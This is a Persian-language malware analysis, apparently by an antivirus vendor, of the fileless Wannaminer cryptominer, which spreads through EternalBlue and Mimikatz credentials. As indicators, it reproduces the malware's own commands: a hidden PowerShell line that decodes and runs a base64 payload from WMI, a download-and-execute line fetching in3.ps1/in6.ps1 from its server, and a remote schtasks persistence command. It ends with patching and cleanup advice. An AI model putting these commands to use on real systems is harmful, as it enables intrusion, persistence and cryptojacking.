شرح کلی
نوع: ماینر (Miner)
درجه تخریب: زیاد
میزان شیوع: زیاد
آسیبپذیری مورد استفاده: EternalBlue) CVE-2017-0146 / MS17-010)
اسامی بدافزار
• Padvish) WMI.BAT.Wannaminer)
• Padvish) Worm.Win32.Wannaminer)
• Microsoft) Trojan:Win32/CoinMiner)
• Eset) Win32/CoinMiner.BWS)
ماینر (Miner) چیست؟
به افراد و نرمافزارهایی که فرآیند ماینینگ را انجام میدهند یا به نوعی ارز دیجیتال را استخراج میکنند، ماینر گفته میشود. بیت کوین (Bitcoin) نوعی واحد ارز دیجیتال است. استخراج بیت کوین نوعی فرایند تایید اطلاعات است که در دو مرحله هش پیچیده SHA256 صورت میپذیرد. شبکه بیت کوین به استخراجکنندگان در ازای تلاشی که برای حل معادلات محاسباتی پیچیده میکنند، بیت کوین پاداش میدهد. بدافزار نویسان برای اینکه هزینهای برای حل معادلات محاسباتی پیچیده نداشته باشند، بدافزاری به این منظور مینویسند و سیستمهای قربانیان را به آن آلوده میکنند تا هم از این راه کسب درآمد کنند هم هزینهای برای این محاسبات پیچیده پرداخت نکنند. حل این محاسبات، CPU سیستم قربانی را درگیر میکند و سبب کندی سیستم قربانی میشود.
بدافزار Wannaminer چیست؟
این بدافزار از دسته بدافزارهای bitcoinminer است که با استفاده از اسکریپتهای مخرب، ارز دیجیتال استخراج میکند و همزمان میتواند خود را در شبکه نشر دهد. به این صورت که هیچ فایلی از خود بر روی سیستم قربانی قرار نمیدهد و تمامی اسکریپتها را بعد از دانلود، در حافظه رم ذخیره کرده و اجرا میکند. در نتیجه، این بدافزار از دسته بدافزارهای بدون فایل (Fileless) به شمار میرود.
توضیحات فنی
علائم آلودگی
- وجود پردازه schtasks.exe در لیست پردازههای جاری که مقدار استفاده آن از پردازنده نسبتاً زیاد باشد و ارتباطات شبکهای روی پورتهای 14444 و 80 داشته باشد.
- وجود تسک مربوط به فایل
systupdater0.bat
درtask scheduler
برخی از سیستمها
همچنین، بدافزار با ساخت کلاسی با نامsystemcore_Updater*
و ساخت چند instance با اسامیSCM Event* Log Consumer
وSCM Event* Log Consumer*
در مسیرهای زیر، بقایی برای خود در wmi سیستم قرار میدهد:
• WMIC:\\.\ROOT\DEFAULT:systemcore_Updater*
• WMIC:\\.\ROOT\subscription:CommandLineEventConsumer.Name="SCM Event* Log Consumer"
• WMIC:\\.\ROOT\subscription:CommandLineEventConsumer.Name="SCM Event* Log Consumer*"
تصویری از محتوای mof آبجکتهای SCM Event* Log Consumer
را در ادامه مشاهده میکنید:
همچنین، در شکل زیر بقای بدافزار که در wmi قرار گرفته نمایش داده شده است:
این بدافزار از طریق wmi، پردازه powershell را در سیستم قربانی اجرا کرده و اسکریپت مربوط به bitcoinminer را تحت این پردازه اجرا میکند.
- وجود پردازه powershell در لیست پردازههای جاری که command اتصال به سرور bitcoin داشته باشد.
- وجود پردازه powershell در لیست پردازههای جاری که command دارای کد مبهم شده با الگوریتم base64 باشد.
- وجود پردازه powershell در لیست پردازههای جاری که command ورودی آن مشابه دستور زیر باشد:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:systemcore_Updater*').Properties['mon'].Value;$funs = ([WmiClass] 'root\default:systemcore_Updater*').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"
شرح عملکرد
این بدافزار از نوع fileless میباشد و هیچ فایلی از خود بر روی سیستم قربانی باقی نمیگذارد و تمامی اسکریپتها را پس از دانلود در حافظه ram ذخیره کرده و اجرا میکند. با این وجود، دو نمونه فایل از این بدافزار به دست آمده است که البته هر دو پس از اجرا از روی دیسک حذف میشوند.
فایل sysupdater0.bat
این فایل از طریق شبکه و توسط attacker در مسیر زیر ساخته میشود:
[root]:\windows\temp\sysupdater0.bat
این فایل با توجه به سیستم عامل قربانی، اقدام به دانلود یک فایل vbs یا ps1. میکند. فایل دانلود شده پس از اجرا مستقیماً در حافظه ram نوشته میشود و سایر رفتارهای مورد نظر بدافزار را پیاده میکند.
فایل mue.exe
این فایل ابتدا در مسیر زیر ایجاد شده است:
%SystemDirectory%\mue.exe
سپس با اجرای فایل schtasks.exe
در پوشه system32 و قرار دادن کدهای مخرب خود در این پردازه، اقدام به ارتباط با سرور راه دور خود و استخراج بیت کوین میکند. بدافزار پس از آلوده کردن پردازه schtasks.exe
، اقدام به حذف فایل mue.exe
میکند.
روال بقای این بدفزار به این صورت است که هر چند ساعت یک بار با سرور(های) خود ارتباط برقرار میکند و اطمینان حاصل میکند که جدیدترین گونه بدافزار روی سیستم قربانی در حال اجرا باشد. در غیر این صورت، فایل powershell یا فایل batch موجود روی سرور را دانلود میکند. فایل powershell میتواند نامی همچون in3.ps1 یا in6.ps1 داشته باشد. محتویات این فایل مبهم شده است و با استفاده ازdecoderهای base64 و الگوریتمهای decode که در خلال برنامه نوشته شده است، به کد آشکار تبدیل میشود. این فایل، در واقع وظیفه اجرای coinminer و همچنین انتشار بدافزار در شبکه را برعهده دارد.
اجرای CoinMiner
کد coinminer که در فایل powershell به صورت کد شده قرار دارد، به پردازههای schtasks.exe
یا powershell.exe
تزریق میشود.
انتشار در شبکه
این بدافزار با اجرای ابزار Mimikatz روی سیستم قربانی، اطلاعات لاگین ثبت شده در سیستم را سرقت میکند. سپس با شناسایی کلاینتهای موجود در شبکه، تلاش میکند با استفاده از این اطلاعات و همچنین آسیبپذیری (MS17-010) Eternalblue، خود را در شبکه انتشار دهد. این تلاشها به شرح زیر است:
• اتصال به پورت ۱۳۵ کلاینت و احراز هویت در آن با استفاده از اطلاعات لاگین به سرقت رفته توسط Mimikatz: در این صورت، در سیستم کلاینت یک پردازه cmd اجرا خواهد شد که اقدام به دانلود فایل powershell بدافزار میکند:
cmd /c powershell.exe -NoP -NonI -W Hidden `"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){iex(New-Object Net.WebClient).DownloadString('$nic/in6.ps1');}else{iex(New-Object Net.WebClient).DownloadString('$nic/in3.ps1');}`"
• اتصال به پورت ۴۴۵: بدافزار در صورت باز بودن این پورت، با روشهای مختلف اقدام به انتشار میکند.
– احراز هویت با استفاده از اطلاعات لاگین که در اختیار دارد و ایجاد یک سرویس با نام نسبتاً طولانی و غیرمعمول که محتوای فایل batch بدافزار را که از طریق شبکه ارسال شده، اجرا میکند.
– اتصال به پوشه Admin$ کلاینت، ایجاد فایل batch بدافزار در این پوشه و ثبت یک تسک زمانبندی شده برای اجرای هفتگی این فایل
"C:\Windows\system32\schtasks.exe" /create /s ip /sc weekly /ru "NT authority\system" /TN sysupdater0 /TR c:\windows\temp\sysupdater0.bat /U username /P password /f
پس از اینکه بدافزار با سوء استفاده از آسیبپذیری (MS17-010) Eternalblue اقدام به ایجاد درب پشتی بر روی سایر کلاینتهای متصل به شبکه نمود، شروع به ارسال اسکریپتهای مربوط به powershell میکند تا آنها را بر روی سیستم مقصد اجرا کند. نمونهای از اسکریپت ارسالی توسط بدافزار به سیستم قربانی در شکل زیر نمایش داده شده است:
روش مقابله و پاکسازی سیستم
آنتی ویروس پادویش این بدافزار را شناسایی کرده و آلودگیهای احتمالی را برطرف مینماید. جهت پیشگیری از حملاتی که از آسیبپذیری EternalBlue استفاده میکنند، پیشنهاد میشود از وصله امنیتی ارائه شده توسط مایکروسافت MS17-010 استفاده کنید. بخش جلوگیری از نفوذ (IPS) آنتیویروس پادویش نیز این حملات را شناسایی کرده و از ورود آنها به سیستم قربانی جلوگیری میکند. از این رو، جهت پیشگیری از آلودگی به این بدافزار پیشنهاد میشود با نصب پادویش از ورود بدافزار به سیستم خود جلوگیری کنید.